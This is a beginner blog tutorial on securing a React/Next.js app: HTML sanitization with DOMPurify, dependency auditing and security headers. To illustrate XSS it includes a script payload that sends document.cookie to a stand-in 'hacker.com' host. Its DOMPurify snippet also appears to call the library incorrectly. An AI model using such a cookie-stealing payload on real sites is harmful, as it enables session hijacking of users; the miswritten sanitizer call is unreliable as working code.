Secure your ReactJS app
TL;DR:
- Sanitize HTML content.
- Keep your dependencies updated.
- Set the right security HTTP Headers.
Security always a top priority for any application. In this article, we will discuss how to secure your react app.
React's dangerouslySetInnerHTML
When you just start learning react and you just know that their is a prop called dangerouslySetInnerHTML
, you might confuse "If it's dangerous, why it's there?". In the end, as you want to render HTML content from a string, you will use it anyway.
<div dangerouslySetInnerHTML={{ __html: '<h1>Hello, <b>World</b></h1>' }} />;
The result will be:
<div> <h1>Hello, <b>World</b></h1> </div>
But as you have more experience with react, you will know that React team named it with dangerously
prefix to make sure that you know what you are doing. As always, React docs did a great job to explain it.
It is an feature to improve the security of your react app. But it not enough, their are other things you need to do to prevent your app from the most common web hacking techniques.
Santize HTML Content
Infamous XSS attack is allow an attacker to inject malicious scripts into web pages viewed by other users.
In React, HTML strings are rendered as plain text by default. This is an intentional security feature that helps prevent this attack. But when you need to render HTML content from a string, you have to use dangerouslySetInnerHTML
prop and now the rest is up to you.
This is your component to render an blog content that you get from an API:
function BlogContent() { const [content, setContent] = useState(''); useEffect(() => { fetch('https://someApi.xyz/blog/1') .then((response) => response.json()) .then((data) => { // data = { content: '<h1>Hello, <b>World</b></h1>' } setContent(data.content); }); }, []); return <div dangerouslySetInnerHTML={{ __html: content }} />; }
But if the hacker compromise the API, change the response to:
{ "content": "<script> fetch('https://hacker.com/stealCookies?cookie=' + document.cookie); </script>" }
Now each time a user visit your blog, the hacker will get the user's cookies which might contain sensitive information, such as session or authentication tokens !!!
Solution for this is you have to sanitize the HTML content before rendering it. The most popular library for this kind of task is DOMPurify.
The render part now will look like this:
import DOMPurify from 'dompurify'; // This will do the job <div dangerouslySetInnerHTML={{ __html: DOMPurify(content) }} />;
Keep Dependencies Updated
You will suprise how many vulnerabilities in your project dependencies. We npm i <package>
without thinking about the security of the package and that is a gold mine for hackers.
Do you remember annoying github bot notifications about your project dependencies? That's because they are outdated and have known vulnerabilities.
Run npm audit
to see a list of known vulnerabilities in your project's dependencies. The output will look like this:
Ideadly we will fix all of them, but in reality, we really need to focus on upgrade the Severity: high
vulnerabilities first.
Some vulnerabilities support auto fix by run npm audit fix
. But some of them need to be fixed manually.
If you're using Github, I highly recommend to not ignore Dependabot anymore and let it do the job for you.
HTTP Security Headers
A lot of attacks can be prevented by setting the right security HTTP Headers.
In NextJS, you can set the security headers by modify next.config.js
:
module.exports = { // ... your other config async headers() { return [ { source: '/(.*)', headers: [ { key: 'header-name', value: 'header-value', }, // other header object ], }, ]; }, };
Or you can use an external library like next-secure-headers to do the job for you.
Also, their is a awesome tool that you should use to check your site's security headers: securityheaders.com
Content-Security-Policy
Content Security Policy (CSP) is important to guard your application against various security threats such as cross-site scripting (XSS), clickjacking, and other code injection attacks.
NextJS have a great doc to explain how to set it up and handle some edge case for it. I highly recommend to read it.
X-Frame-Options
Prevent ClickJacking by not allowing your site to be embedded in an iframe.
If you don't want your site to be embedded in an iframe at all, you can just set the X-Frame-Options
header to DENY
. Otherwise you can set it to SAMEORIGIN
to if you want to allow your site to be embedded in an iframe from the same origin.
{ key: 'X-Frame-Options', value: 'DENY', }
X-XSS-Protection
This header enables the Cross-site scripting (XSS) filter in the browser. The browser will prevent the page from loading when it detects reflected cross-site scripting attacks.
{ key: 'X-XSS-Protection', value: '1; mode=block', }